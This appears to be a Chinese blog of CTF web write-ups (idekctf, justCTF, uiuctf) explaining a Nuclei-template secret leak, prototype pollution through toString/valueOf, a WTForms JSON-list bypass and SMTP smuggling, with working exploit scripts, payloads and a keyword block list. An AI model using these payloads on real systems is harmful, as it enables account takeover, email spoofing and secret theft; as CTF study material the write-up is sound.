idekctf https://ctf.idek.team
又是顶难web的一场比赛()
scanme 初看发现有yaml怀疑会不会有yaml反序列化但是审码头疼就放弃了
Nuclei?这是什么工具
1 Nuclei是一款基于YAML语法模板的开发的定制化快速漏洞扫描器。它使用Go语言开发,具有很强的可配置性、可扩展性和易用性。
审计?大力审!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 from flask import Flask, send_file, request, jsonifyimport subprocessimport jsonimport osimport tempfileimport yamlfrom datetime import datetimeimport refrom dotenv import load_dotenvload_dotenv() PORT = os.environ.get("PORT" , 1337 ) SECRET = os.environ.get("SECRET" , "secret" ) app = Flask(__name__) def validate_template (template_content ): """Validate Nuclei template YAML structure""" try : template = yaml.safe_load(template_content) if not isinstance (template, dict ): return False , "Template must be a YAML object" if 'id' not in template: return False , "Template must have an 'id' field" if 'info' not in template: return False , "Template must have an 'info' field" dangerous_patterns = [ r'exec\s*:' , r'shell\s*:' , r'command\s*:' , r'file\s*:.*\.\./\.\.' , ] template_str = str (template_content).lower() for pattern in dangerous_patterns: if re.search(pattern, template_str): return False , f"Template contains potentially dangerous operations: {pattern} " return True , "Template is valid" except yaml.YAMLError as e: return False , f"Invalid YAML: {str (e)} " def check_nuclei_installed (): """Check if Nuclei is installed and accessible""" try : result = subprocess.run(['nuclei' , '-version' ], capture_output=True , text=True , timeout=10 ) return result.returncode == 0 except (subprocess.TimeoutExpired, FileNotFoundError): return False @app.route('/' ) def index (): return send_file("index.html" ) @app.route('/scan' , methods=['POST' ] ) def scan (): try : if not check_nuclei_installed(): return jsonify({ 'success' : False , 'error' : 'Nuclei is not installed or not accessible. Please install Nuclei first.' }) port = request.form.get('port' , '80' ) template_type = request.form.get('template_type' , 'builtin' ) try : port_num = int (port) if not (1 <= port_num <= 65535 ): raise ValueError() except ValueError: return jsonify({'success' : False , 'error' : 'Invalid port number' }) target = f"http://127.0.0.1:{port} " cmd = ['nuclei' , '-target' , target, '-jsonl' , '--no-color' ] if template_type == 'custom' : template_content = request.form.get('template_content' , '' ).strip() if not template_content: return jsonify({'success' : False , 'error' : 'Custom template content is required' }) is_valid, validation_msg = validate_template(template_content) if not is_valid: return jsonify({'success' : False , 'error' : f'Template validation failed: {validation_msg} ' }) with tempfile.NamedTemporaryFile(mode='w' , suffix='.yaml' , delete=False ) as f: f.write(template_content) template_file = f.name cmd.extend(['-t' , template_file]) else : builtin_template = request.form.get('builtin_template' , 'http/misconfiguration' ) admin_secret = request.headers.get('X-Secret' ) if admin_secret != SECRET and builtin_template not in [ "http/misconfiguration" , "http/technologies" , "http/vulnerabilities" , "ssl" , "dns" ]: return jsonify({ 'success' : False , 'error' : 'Only administrators may enter a non-allowlisted template.' }) cmd.extend(['-t' , builtin_template]) cmd.extend([ '-timeout' , '30' , '-retries' , '1' , '-rate-limit' , '5' ]) result = subprocess.run(cmd, capture_output=True , text=True , timeout=60 ) if template_type == 'custom' and 'template_file' in locals (): try : os.unlink(template_file) except OSError: pass if result.returncode == 0 or result.stdout: output_lines = [] if result.stdout.strip(): for line in result.stdout.strip().split('\n' ): if line.strip(): try : finding = json.loads(line) formatted_finding = f""" 🔍 Finding: {finding.get('info' , {} ).get('name', 'Unknown')} 📋 Template: {finding.get('template-id' , 'N/A' )} 🎯 Target: {finding.get('matched-at' , 'N/A' )} ⚠️ Severity: {finding.get('info' , {} ).get('severity', 'N/A')} 📝 Description: {finding.get('info' , {} ).get('description', 'N/A')} 🔗 Reference: {', ' .join(finding.get('info' , {} ).get('reference', []))} ---""" output_lines.append(formatted_finding) except json.JSONDecodeError: output_lines.append(f"Raw output: {line} " ) if not output_lines: output_lines.append("✅ No vulnerabilities or issues found." ) if result.stderr: output_lines.append(f"\n⚠️ Warnings/Errors:\n{result.stderr} " ) return jsonify({ 'success' : True , 'output' : '\n' .join(output_lines) }) else : error_msg = result.stderr if result.stderr else "Scan completed with no output" return jsonify({ 'success' : False , 'error' : error_msg }) except subprocess.TimeoutExpired: return jsonify({ 'success' : False , 'error' : 'Scan timed out. The target may be unresponsive.' }) except Exception as e: return jsonify({ 'success' : False , 'error' : f'An error occurred: {str (e)} ' }) if __name__ == '__main__' : app.run("0.0.0.0" , PORT)
是这么个页面,点击按钮向/scan路由发包,有四个参数
看看主要函数,检测yaml文件是否合规,甚至有黑名单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 def validate_template (template_content ): """Validate Nuclei template YAML structure""" try : template = yaml.safe_load(template_content) if not isinstance (template, dict ): return False , "Template must be a YAML object" if 'id' not in template: return False , "Template must have an 'id' field" if 'info' not in template: return False , "Template must have an 'info' field" dangerous_patterns = [ r'exec\s*:' , r'shell\s*:' , r'command\s*:' , r'file\s*:.*\.\./\.\.' , ] template_str = str (template_content).lower() for pattern in dangerous_patterns: if re.search(pattern, template_str): return False , f"Template contains potentially dangerous operations: {pattern} " return True , "Template is valid"
根据dockerfile里flag的位置,这道题大抵得RCE的,我们关注一下
1 2 3 4 5 6 7 8 9 10 is_valid, validation_msg = validate_template(template_content) if not is_valid: return jsonify({'success' : False , 'error' : f'Template validation failed: {validation_msg} ' }) with tempfile.NamedTemporaryFile(mode='w' , suffix='.yaml' , delete=False ) as f: f.write(template_content) template_file = f.name cmd.extend(['-t' , template_file])
在选择custom后,会验证我们的yaml数据是否符合格式,然后再创建一个临时文件,/tmp/<random_characters>.yaml
,用于-t解析模板,结束后会unlink
而另一部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 builtin_template = request.form.get('builtin_template' , 'http/misconfiguration' ) admin_secret = request.headers.get('X-Secret' ) if admin_secret != SECRET and builtin_template not in [ "http/misconfiguration" , "http/technologies" , "http/vulnerabilities" , "ssl" , "dns" ]: return jsonify({ 'success' : False , 'error' : 'Only administrators may enter a non-allowlisted template.' }) cmd.extend(['-t' , builtin_template])
如果我们拿到Secrete,就可以解析任意模板了,其实就是可以解析任意文件了?如果直通/flag.txt呢?也许我们等会可以本地搭环境进去shell里面,试试这个命令是否可以爆出文件内容
-t, -templates string[] 指定要运行的模板或者模板目录(以逗号分隔或目录形式)
Nuclei 支持两种方式加载模板:
直接指定 YAML 文件路径 _(如 __-t /path/to/template.yaml_
)。
使用内置模板名称 _(如 __-t "http/misconfiguration"_
),Nuclei 会自动从内置模板库加载。
所以可以理解了~
所谓模板类似如下:
1 2 3 4 5 6 7 8 9 10 11 12 id : example-vulninfo: name: Example Vulnerability author: yourname requests: - method: GET path: "/admin.php" matchers: - type : word words: - "Admin Panel" - "Login"
在validate_template时,是safe_load,那么在模板解析时呢?
但是稍微查了一下Go 的 **yaml.Unmarshal**
不会执行代码 ,因此即使恶意模板包含 !!python/object
这类标签,也不会被解析成代码执行 。 不尽人意
综合上述分析,关键在于泄露出SECRET环境变量
而关于这个问题着实没有头绪,让我们看看老外的思路是什么:
泄露环境变量 Nuclei 允许在 YAML 模板中使用 JavaScript 代码(javascript:
模块),用于执行动态检测逻辑。 例如:
1 2 3 4 5 javascript: - code: | const fs = require('nuclei/fs'); const content = fs.ReadFileAsString('/etc/passwd'); log(content);
但默认情况下,Nuclei 禁止直接读取系统文件 (除非启用 -lfa
参数)。
但是柳暗花明,require()
是 JavaScript 语言的原生功能 ,动态加载机制不受 Nuclei 的沙盒限制。
JavaScript 的 require()
会尝试加载并执行指定的文件。 如果目标文件是 合法的 JavaScript/JSON 语法 ,它会被成功解析并执行。
相当于将任意符合js语法的文件内容加载,再利用log, 专门用于将数据输出到 Nuclei 的扫描结果中, 将内容传递给 Nuclei 的日志系统。
Goja 默认不提供 **console**
对象 与 Node.js 或浏览器不同,Goja 是一个精简的 JavaScript 引擎,没有内置 console
API。
如果,环境变量存储在一个文件中,且这个文件符合js格式,是不是就可以实现了呢?
这里就要好好提醒大家看全文件了,在给的附件里,还有一个.env的文件,而里面:
1 2 PORT=1337 SECRET="REDACTED"
再看Dockerfile如何处理它
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 FROM python:3.11 -slim RUN apt-get update && apt-get install -y \ wget \ ca-certificates \ && rm -rf /var/lib/apt/lists/* ENV GO_VERSION=1.21 .5 RUN wget https://golang.org/dl/go${GO_VERSION}.linux-amd64.tar.gz && \ tar -C /usr/local -xzf go${GO_VERSION}.linux-amd64.tar.gz && \ rm go${GO_VERSION}.linux-amd64.tar.gz ENV PATH=$PATH:/usr/local/go/bin ENV GOPATH=/go ENV PATH=$PATH:$GOPATH/bin RUN groupadd -r nuclei && useradd -m -g nuclei nuclei WORKDIR /home/nuclei COPY app.py . COPY .env . COPY index.html . COPY requirements.txt . COPY flag.txt / RUN pip install --no-cache-dir -r requirements.txt RUN go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest RUN /go/bin /nuclei -update-templates USER nuclei EXPOSE 1337 CMD ["python" , "app.py" ]
欧克可以确定目录了!!/home/nuclei/.env
现在,只剩最后一步,这个格式是否符合js?直接试吧就,本地shell环境即可~
我疯了,wsl崩了docker崩了,配置坏境超级慢
不过大抵上是可以的,这道题主要在于理解这个工具,知道怎么写yaml格式,知道js的一些tricks
justctf https://2025.justctf.team/
Positive Players 初看不惊人,坐牢就明白了()
老外的原型链污染考察这么神
看一下源码,明确禁止了__proto__,constructor,prototype
在整个注册过程中
新增了一个字典
1 2 3 4 5 6 7 8 9 10 11 12 users[username] = { password: password, isAdmin: false, themeConfig: { theme: { primaryColor: '#6200EE', secondaryColor: '#03DAC6', fontSize: '16px', fontFamily: 'Roboto, sans-serif' } } };
污染的关键函数
1 2 3 4 5 6 7 8 9 const deepMerge = (target, source ) => { for (const key in source) { if (source[key] instanceof Object && key in target) { Object .assign (source[key], deepMerge (target[key], source[key])); } } Object .assign (target || {}, source); return target; };
只有污染user[username].isAdmin=true才行
但是我们知道,哪怕我们绕过了__proto__实现污染,获得以下效果
1 2 3 4 5 6 7 8 > users['a'].themeConfig.theme.__proto__.isAdmin = true; < true > users['a'].themeConfig.theme.isAdmin; < true > users['a'].themeConfig.isAdmin; < true > users['a'].isAdmin; < false
user[‘a’]自身存在这个isAdmin属性,只有不存在的时候才可以污染成功
到底应该怎么办呢
有这么个toString
当我们随便注册一个账户进行污染时
toString.isAdmin=1时
toStrinf已经被污染
这个时候登录一个username=toString的账号,不传password
因为if (user && user.password === password),可以绕过
或者你污染toString.password?没试,应该可
进去之后直接/flag
成功拿到
justCTF{This_Prototype_Pollution_variant_actually_works_on_real_apps!_3rcwtirsieh}
同上,__defineGetter__也是一样的效果
再发现valueOf
也是如此
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import requestsimport randomHOST = 'http://o4pbo50evbr728wcmfazbuhlb9m5hh.positiveplayers.web.jctf.pro' sess = requests.Session() username = password = random.randbytes(4 ).hex () register_data = { 'username' : username, 'password' : password, } r = sess.post(HOST + '/register' , data=register_data, allow_redirects=False ) print (r.status_code, r.text)r = sess.get(HOST + '/theme?valueOf.isAdmin=1' , allow_redirects=False ) print (r.status_code, r.text)login_data = { 'username' : 'valueOf' , } r = sess.post(HOST + '/login' , data=login_data, allow_redirects=False ) print (r.status_code, r.text)r = sess.get(HOST + '/flag' , allow_redirects=False ) print (r.text)
看看
1 2 3 4 5 6 7 8 9 10 11 function getAllProperties (obj ) { const props = new Set (); let currentObj = obj; while (currentObj !== null ) { Object .getOwnPropertyNames (currentObj).forEach (prop => props.add (prop)); currentObj = Object .getPrototypeOf (currentObj); } return Array .from (props); }
得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 All properties of user: [ 'password', 'isAdmin', 'themeConfig', 'constructor', '__defineGetter__', '__defineSetter__', 'hasOwnProperty', '__lookupGetter__', '__lookupSetter__', 'isPrototypeOf', 'propertyIsEnumerable', 'toString', 'valueOf', '__proto__', 'toLocaleString' ]
这些原型方法(不能被枚举的属性)(Object.prototype
原生提供 )都是可行的嘛?全部试试
欧克,测了一下全部可以~
一般咱们对于原型链污染,用__proto__这样可以影响到所有对象(已含有污染属性的对象除外)
而修改原型方法的属性,仅使用于如user[toString].isAdmin==true这种方式,审计的时候留个心眼即可~
该题倒是还未绕过WAF,不知道有无大手子绕过(虽然没用)
又想了一下,未必没用,浅试一下
1 2 3 4 5 6 r = sess.get(HOST + '/theme?__proto__.hack.isAdmin=1' , allow_redirects=False ) login_data = { 'username' : 'hack' , } 拿到flag{test}
user[hack].isAdmin=user.hack.isAdmin
user我们没有hack这个属性,因此成功原型链污染~
所以有无大手子绕过走出来啦?
1 2 3 4 if (source[key] instanceof Object && Object.prototype.hasOwnProperty.call(target, key)) { Object.assign(source[key], deepMerge(target[key], source[key])); }
只允许自身所属属性而非继承的属性归并,这种就不用担心污染咯(也许…)
Ticket Master(json,py特性绕过) 这一道题目解是第二多的,源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 from flask import Flask, render_template, request, jsonifyfrom ticket import generate_ticket, load_ticketfrom wtforms import Form, StringField, IntegerField, FieldListfrom wtforms.validators import DataRequired, NumberRange, AnyOf, Lengthimport random, base64from os import environapp = Flask(__name__) GENERATED_TICKETS = [] SEAT_ROWS = list ("ABCDEFX" ) SEAT_NUMS = list ("1234567" ) SELLER_KEY = random.randbytes(16 ).hex () print (f"[*] Generate special tickets using key: {SELLER_KEY} " )class TicketData (Form ): number = IntegerField(validators=[DataRequired()], default=lambda : random.randint(10000 , 99999 )) section = StringField(validators=[DataRequired(), AnyOf(["PLAYER" , "VIP" , "BACKSTAGE" ])], default="PLAYER" ) seat = FieldList( StringField(validators=[DataRequired(), Length(min =1 , max =1 )]), IntegerField(validators=[DataRequired(), NumberRange(min =1 , max =7 )]) ) type = StringField(validators=[DataRequired(), AnyOf(["FREE" , "PAID" , "ORGANIZER" ])]) @app.route("/" , methods=["GET" ] ) def index (): return render_template("index.html" ) @app.route("/generate" , methods=["POST" ] ) def generate (): if not request.is_json: return jsonify({"error" : "Invalid JSON" }), 400 data = request.get_json() ticket_data = TicketData(data=data) if len (ticket_data.seat) == 0 : ticket_data.seat.append_entry().data = random.choice(SEAT_ROWS) ticket_data.seat.append_entry().data = random.choice(SEAT_NUMS) if not any (key in data for key in ["number" , "section" , "seat" , "type" ]): ticket_data.number.data = 2137 ticket_data.type .data = "FREE" elif "seller_key" in data and data["seller_key" ] == SELLER_KEY: ticket_data.type .data = "PAID" else : return jsonify({"error" : "You're not allowed to generate that ticket!" }), 422 if not ticket_data.validate() or ticket_data.data["seat" ][0 ] not in SEAT_ROWS or ticket_data.data["seat" ][1 ] not in SEAT_NUMS: return jsonify({"error" : "Something went wrong.." }), 500 data = ticket_data.data seat = f"{data['section' ]} /{'' .join(data['seat' ])} " if seat in GENERATED_TICKETS: return jsonify({"error" : "Sorry! Someone just bought this seat before you!" }), 410 try : ticket = generate_ticket( data["number" ], seat, data["type" ] ) GENERATED_TICKETS.append(seat) except Exception as ex: return jsonify({"error" : ex}), 500 return jsonify({"ticket" : base64.b64encode(ticket).decode()}), 200 @app.route("/enter" , methods=["POST" ] ) def enter (): if not request.is_json: return jsonify({"error" : "Invalid JSON" }), 400 data = request.get_json() if "img" not in data: return jsonify({"error" : "Missing 'img' parameter" }), 400 try : ticket_number, seat, type = load_ticket(base64.b64decode(data['img' ])) return jsonify({ "ticket_number" : ticket_number, "seat" : seat, "message" : f"Welcome!\nEnjoy {type } ticket!" if type in ["FREE" , "PAID" ] else environ["FLAG" ] }), 200 except Exception as ex: return jsonify({"error" : str (ex)}), 500 if __name__ == "__main__" : app.run()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 import re, hashlib, hmac, cv2, numpy as npfrom PIL import Image, ImageDraw, ImageFontfrom io import BytesIOimport pytesseractfrom os import environTICKET_TEMPLATE = "assets/ticket.jpg" ALLOWED_PATTERN = re.compile (r'^[A-Z0-9/]+$' , re.A | re.I) def add_text (img, text, pos ): if not ALLOWED_PATTERN.match (text): raise ValueError("Illegal characters used" ) img_pil = Image.fromarray(cv2.cvtColor(img, cv2.COLOR_BGR2RGB)) draw = ImageDraw.Draw(img_pil) font = ImageFont.truetype('assets/comic.ttf' , 25 ) while text: bbox = font.getbbox(text) text_width = bbox[2 ] - bbox[0 ] if text_width <= 160 : break text = text[:-1 ] draw.text(pos, text, font=font, fill=(0 , 0 , 0 )) img[:] = cv2.cvtColor(np.array(img_pil), cv2.COLOR_RGB2BGR) def generate_signature (data ): return hmac.new(environ["SIGNATURE_SECRET_KEY" ].encode(), data, hashlib.sha256).digest() def generate_image_with_signature (img ): img = Image.fromarray(cv2.cvtColor(img, cv2.COLOR_BGR2RGB)) img_io = BytesIO() img.save(img_io, format ="JPEG" ) signature = generate_signature(img_io.getvalue()) return img_io.getvalue() + signature def generate_ticket (ticket_number, seat, type ): img = cv2.imread(TICKET_TEMPLATE) add_text(img, str (ticket_number), (825 , 297 )) add_text(img, seat, (825 , 327 )) add_text(img, type , (825 , 357 )) return generate_image_with_signature(img) def read_lines (img, n ): it = iter (line.strip() for line in pytesseract.image_to_string(img[297 :392 , 823 :993 ]).split("\n" ) if line) return [next (it, None ) for _ in range (n)] def parse_ticket_info (img ): return read_lines(img, 3 ) def load_ticket (data ): if len (data) < 1024 or len (data) > 512_000 : raise ValueError("This is not a ticket!" ) img_io = BytesIO(data[:-32 ]) signature = data[-32 :] if signature != generate_signature(img_io.getvalue()): raise ValueError("Invalid signature" ) img = Image.open (img_io) if img.format != "JPEG" or img.mode != "RGB" or img.size != (1000 , 400 ): raise ValueError("Malformed ticket" ) gray_img = cv2.cvtColor(np.array(img), cv2.COLOR_RGB2GRAY) return parse_ticket_info(gray_img)
源码逻辑很清晰,就算可以拿到门票去解析,如果
1 if type in ["FREE", "PAID"] else environ["FLAG"]
我们看看type
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 class TicketData (Form ): number = IntegerField(validators=[DataRequired()], default=lambda : random.randint(10000 , 99999 )) section = StringField(validators=[DataRequired(), AnyOf(["PLAYER" , "VIP" , "BACKSTAGE" ])], default="PLAYER" ) seat = FieldList( StringField(validators=[DataRequired(), Length(min =1 , max =1 )]), IntegerField(validators=[DataRequired(), NumberRange(min =1 , max =7 )]) ) type = StringField(validators=[DataRequired(), AnyOf(["FREE" , "PAID" , "ORGANIZER" ])])
发现有一个ORGANIZER?
1 2 3 4 5 if not ticket_data.validate() or ticket_data.data["seat" ][0 ] not in SEAT_ROWS or ticket_data.data["seat" ][1 ] not in SEAT_NUMS: return jsonify({"error" : "Something went wrong.." }), 500
很明显,要绕过这个又要拿到flag,只能绕过伪造ORGANIZER
当然这个后续受困于题目,没必要
我们再看看生成票据的逻辑
看/generate
1 2 3 4 5 6 7 8 9 10 11 if not any (key in data for key in ["number" , "section" , "seat" , "type" ]): ticket_data.number.data = 2137 ticket_data.type .data = "FREE" elif "seller_key" in data and data["seller_key" ] == SELLER_KEY: ticket_data.type .data = "PAID"
明显是,如果我们给的ticket数据只要啥都不含,则默认生成FREE票,但凡含有一个,就会检查你的seller_key,才可以生成PAID票
基本绕不过()
看看tickey.py的实现
1 2 3 4 5 def generate_signature (data ): return hmac.new(environ["SIGNATURE_SECRET_KEY" ].encode(), data, hashlib.sha256).digest()
这是给图片弄了个签名
这个不知道签名咱是无法伪造图片的
而这里的pytesseract
做的就是把 cv2
或 PIL
处理好的图像丢给 tesseract
程序,让它返回识别出来的文字。
最后进行一些处理,把识别的数据进行返回
当时想的是,有无可能存在OCR漏洞呢,错误识别FREE为不是FREE从而实现绕过拿到flag?
当然这个实际操作很乱,换了种思路
是不是只要我们能够控制某个值,多尝试一些字符混淆视听呢?
关键题目限制的看似很严密了,我们没有可以太过操控的地方
其实我们看看生成票据的逻辑
把视线放到seat上
1 2 3 4 5 if not ticket_data.validate() or ticket_data.data["seat" ][0 ] not in SEAT_ROWS or ticket_data.data["seat" ][1 ] not in SEAT_NUMS: print ("Something went wrong.." )
1 2 3 4 5 6 7 8 9 seat = FieldList( StringField(validators=[DataRequired(), Length(min =1 , max =1 )]), IntegerField(validators=[DataRequired(), NumberRange(min =1 , max =7 )]) )
嗯,伪造票据,可以在seat上面动手脚
1 2 3 4 5 6 7 8 9 这里开发者显然想表示 seat = [行, 号](例如 ["A" ,3 ])。但实际写法让 FieldList 的子字段只有一个:单字符 StringField,而不是“两个不同类型的元素”。结果: 当我们把 "seat" : "A1iiiii" 作为一个字符串喂给 FieldList 时,WTForms 会把它当成可迭代,据此创建若干个子条目:["A" ,"1" ,"i" ,"i" ,"i" ,"i" ,"i" ]。 每个子条目都是长度为 1 的字符串,完全满足 DataRequired + Length(min =1 ,max =1 ),因此验证通过。 业务侧的“合法性检查”只看前两个元素
当时考虑这一方面,但是没意识到这里可以绕过(),当时太死板了
而且,读代码的时候,只要你想控制值,就必须知道SELLER_KEY,如何泄露也没有头绪
如果不能泄露,就还要尝试先如何绕过
1 if not any(key in data for key in ["number", "section", "seat", "type"]):
我们学习到了数组绕过
检查 data
中是否包含 "number"
、"section"
、"seat"
或 "type"
中的任意一个键。
****关键点****:
key in data
****不适用于嵌套列表****,它只适用于字典或简单列表(检查元素是否存在)。
在 Python 中,["seat", "A1iiiii"] in [["seat", "A1iiiii"], ["section", "VIP"]]
是 True
,但 "seat" in data
是 False
(因为 "seat"
不是 data
的直接元素,而是子列表的第一个元素)。
因此,any(key in data for key in ["number", "section", "seat", "type"])
**返回 ****False**
,因为 "seat"
和 "section"
不在 data
的顶层元素中。
1 2 3 [["seat" , "A1success" ], ["section" , "VIP" ]]
即可()
关注一下
1 2 3 4 5 6 7 if not request.is_json: return jsonify({"error" : "Invalid JSON" }), 400 data = request.get_json()
可以了解一些同样可被json解析的格式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 data = '[[]]' print (json.loads(data))data = '[["a", "b"], ["c", "d"]]' print (json.loads(data))data = '"this_is_str"' print (json.loads(data))data = "true" print (json.loads(data))data = "[ 1, 2, 3 ]" print (json.loads(data))data = "1e3" print (json.loads(data))data = "-1" print (json.loads(data))
可以想到,[["seat", "A1success"], ["section", "VIP"]]
神了,这个时候可以走FREE,且我们可以操控seat绕过,任意注入一些字符,这个时候我们爆破只要有识别错误即可拿到flag
googlectf https://capturetheflag.withgoogle.com/
uiuctf blackhole https://2025.uiuc.tf/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 import smtplib from email.mime.text import MIMEText from flask import Flask, render_template, request, redirect, url_for, jsonify import time import uuid from database import init_database, get_ticket_response app = Flask(__name__) init_database() def new_data(self, msg): self.putcmd("data") (code, repl) = self.getreply() if self.debuglevel > 0: self._print_debug('data:', (code, repl)) if code != 354: raise smtplib.SMTPDataError(code, repl) else: q = msg self.send(q) (code, msg) = self.getreply() if self.debuglevel > 0: self._print_debug('data:', (code, msg)) return (code, msg) def return_unchanged(data): return data @app.route('/') def index(): return render_template('index.html') @app.route('/about') def about(): return render_template('about.html') @app.route('/tickets') def view_tickets(): return render_template('tickets.html') @app.route('/submit_ticket', methods=['POST']) def submit_ticket(): subject = request.form.get('subject', '') message = request.form.get('message', '') # Generate unique ticket ID ticket_id = str(uuid.uuid4()) original_fix_eols = smtplib._fix_eols original_quote_periods = smtplib._quote_periods original_data = smtplib.SMTP.data try: smtplib._fix_eols = return_unchanged smtplib._quote_periods = return_unchanged smtplib.SMTP.data = new_data message_data = f"""\ From: support@blackholeticketing.com\r\n\ To: it@blackholeticketing.com\r\n\ Subject: {subject}\r\n\ X-Ticket-ID: {ticket_id}\r\n\ \r\n\ {message}\r\n\ .\r\n""".encode() ending_count = message_data.count(b'\r\n.\r\n') if ending_count != 1: raise ValueError("Bad Request") with smtplib.SMTP('localhost', 1025) as client: client.helo("example.com") client.sendmail('support@blackholeticketing.com', ['it@blackholeticketing.com'], message_data) # Wait a second for SMTP to process the ticket time.sleep(1) ticket_data = { 'id': ticket_id, 'timestamp': int(time.time() * 1000), 'from': 'support@blackholeticketing.com', 'subject': subject, 'body': message, 'status': 'submitted' } return render_template('ticket_submitted.html', ticket_data=ticket_data) except Exception as e: return f"Error: {str(e)}" finally: smtplib._fix_eols = original_fix_eols smtplib._quote_periods = original_quote_periods smtplib.SMTP.data = original_data @app.route('/check_response/<ticket_id>') def check_response(ticket_id): try: response_data = get_ticket_response(ticket_id) if response_data: return jsonify(response_data) else: return jsonify({'status': 'pending'}) except Exception as e: print(f"Error checking response: {e}") return jsonify({'status': 'error', 'message': str(e)}) if __name__ == "__main__": app.run()
flag在 internal.py 文件里,想要获取需要满足
1 2 if internal.leadership_email in from_header.lower(): response = "C-Suite ticket received! Will escalate immediately!" + f"\n{internal.flag}"
给的源码附件里并无 internal.py ,我们并不知道leadership_email 看一下web_server.py 发现关键路由/submit_ticket
而这里默认
1 2 3 4 5 6 7 8 message_data = f"""\ From: support@blackholeticketing.com\r\n\ To: it@blackholeticketing.com\r\n\ Subject: {subject}\r\n\ X-Ticket-ID: {ticket_id}\r\n\ \r\n\ {message}\r\n\ .\r\n""".encode()
我们目的是让From的值被我们控制 嗯暂时无头绪,我们再看看/check_response/
随便查一个已经传入的ticket
1 {"body":"1\r\n","from":"support@blackholeticketing.com","processed_by":"it_bot","response":"Request for support received! Will resolve after lunch break.","subject":"1","timestamp":1756280560003}
如我们所料 检索一下SMTP注入 SMTP是用于发送和传递电子邮件的协议,定义了邮件的传输方式和交流规则。 SMTP注入是指可通过添加/控制邮件头的方式,篡改邮件的发送者、抄送、密送等字段,从而达到欺骗、窃取邮件信息或劫持邮件传递的目的。 我们要修改的正是邮件的发送者 如果From不是在第一位,我们可以通过subject = "Test\r\nFrom: leadership@blackholeticketing.com"
实现注入,现在当然是不现实的 我们再关注这一句话
1 2 3 ending_count = message_data.count(b'\r\n.\r\n') if ending_count != 1: raise ValueError("Bad Request")
要求\r\n.\r\n只出现一次,作为邮件结尾 所以这是在防御我们走私,防止我们继续发送了第二封邮件,达到发送多封伪造邮件的效果https://cn-sec.com/archives/2349485.html 同HTTP请求走私一样,SMTP 走私的基本思想就是: 当SMTP对数据结束部分数据()有不同解释时,就会发生SMTP走私,如果SMTP服务器对消息数据结束的位置有不同的理解,攻击者可能会破坏消息数据。还可能执行指定任意SMTP命令,甚至发送单独的电子邮件。 对照这篇文章,如果接触过http走私,应该也能理解这部分内容 回到题目 这样的防御真的彻底吗? 假设找到类似\n.\r\n或是\n.\n也被认为是结束呢? 类似CVE-2024-27305 可以把\n\n.\r\n 视为 结束?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import requests import time response = requests.post( "http://127.0.0.1:44622/submit_ticket", data={ 'subject': 'Test', 'message': "Abc123\n\n.\r\nMAIL FROM: <support@blackholeticketing.com>\r\nRCPT TO: <it@blackholeticketing.com>\r\nDATA\r\nFrom: leadership@blackholeticketing.com\r\nTo: it@blackholeticketing.com\r\nSubject: a1\r\nX-Ticket-ID: 22970371-64b2-484f-be43-d46c21093943\r\n\r\nDef456" } ) time.sleep(2) print(requests.get( "http://127.0.0.1:44622/check_response/22970371-64b2-484f-be43-d46c21093943" ).text)
uiuctf{7h15_c0uld_h4v3_b33n_4_5l4ck_m355463_8091732490}
这里注意一下注入的点
1 'message': "Abc123\n\n.\r\nMAIL FROM: <support@blackholeticketing.com>\r\nRCPT TO: <it@blackholeticketing.com>\r\nDATA\r\nFrom: leadership@blackholeticketing.com\r\nTo: it@blackholeticketing.com\r\nSubject: a1\r\nX-Ticket-ID: 22970371-64b2-484f-be43-d46c21093943\r\n\r\nDef456"
这是符合完整SMIP的格式,即注入的第二篇邮件应该符合格式,否则
